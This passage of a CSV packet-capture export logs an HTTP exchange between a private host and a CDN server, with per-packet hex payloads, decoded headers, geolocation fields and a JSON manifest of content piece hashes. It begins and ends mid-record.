\"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37758, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113370603, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 855, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:34.641353,8,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse,5,HTTP Response: 200,bc2411360d0cbc24112907bb080045000210a41640004006919555d00ac90a98980b0050fa087df779eb6338acfc5018003f053f0000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203139204a756c20323032362030393a30303a333420474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a20370d0a582d5365727665642d42793a2063616368652d7061722d6c667067313936303039342d5041520d0a582d43616368653a204849540d0a582d43616368652d486974733a20310d0a582d54696d65723a2053313736303436313232302e3635383632342c5653302c5645310d0a582d4349443a2031303030360d0a582d4343433a2065663333616434322d663232362d343261382d383731662d6162626362393131613133300d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a2062,\".$.6\n..$.)....E.....@.@...U.\n.\n....P..}.y.c8..P..?.?..HTTP/1.1 200 OK\nServer: nginx\nDate: Sun, 19 Jul 2026 09:00:34 GMT\nContent-Type: application/json\nContent-Length: 3793\nConnection: keep-alive\nCache-Control: public,max-age=172800\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT\nVia: 1.1 varnish\nAge: 7\nX-Served-By: cache-par-lfpg1960094-PAR\nX-Cache: HIT\nX-Cache-Hits: 1\nX-Timer: S1760461220.658624,VS0,VE1\nX-CID: 10006\nX-CCC: ef33ad42-f226-42a8-871f-abbcb911a130\nContent-Security-Policy: default-src 'self' http: https: data: b\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 42006, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 37269, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113370603, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1343, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"7\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: b\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 19 Jul 2026 09:00:34 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-par-lfpg1960094-PAR', b'X-Cache': b'HIT', b'X-Cache-Hits': b'1', b'X-Timer': b'S1760461220.658624,VS0,VE1', b'X-CID': b'10006', b'X-CCC': b'ef33ad42-f226-42a8-871f-abbcb911a130'}\"\"}}]\"\n2026-07-19 09:00:34.641586,9,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2113371091 Ack=1664658684,bc2411360d0cbc24112907bb080045000b90a41740004006881455d00ac90a98980b0050fa087df77bd36338acfc5018003f0ebf00006c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178,\"lob: 'unsafe-inline'\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nX-Cache-Status: STALE\nAccept-Ranges: bytes\n\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxax\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2960, \"\"id\"\": 42007, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 34836, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113371091, \"\"ack\"\": 1664658684, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 3775, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"lob: 'unsafe-inline'\\r\\nX-XSS-Protection: 1; mode=block\\r\\nX-Frame-Options: SAMEORIGIN\\r\\nX-Cache-Status: STALE\\r\\nAccept-Ranges: bytes\\r\\n\\r\\n{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxax\"\"}}]\"\n2026-07-19 09:00:34.641728,10,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1664658684 Ack=2113374011,bc24112907bbbc2411360d0c080045000028a6124000800651810a98980b55d00ac9fa0800506338acfc7df7873b5010040298d50000,\".$.)...$.6\n...E..(..@...Q.\n...U.\n....Pc8..}..;P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42514, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20865, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658684, \"\"ack\"\": 2113374011, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 39125, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:34.641736,11,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2113374011 Ack=1664658684,bc2411360d0cbc24112907bb080045000218a41940004006918a55d00ac90a98980b0050fa087df7873b6338acfc5018003f05470000726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d,\"rnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcI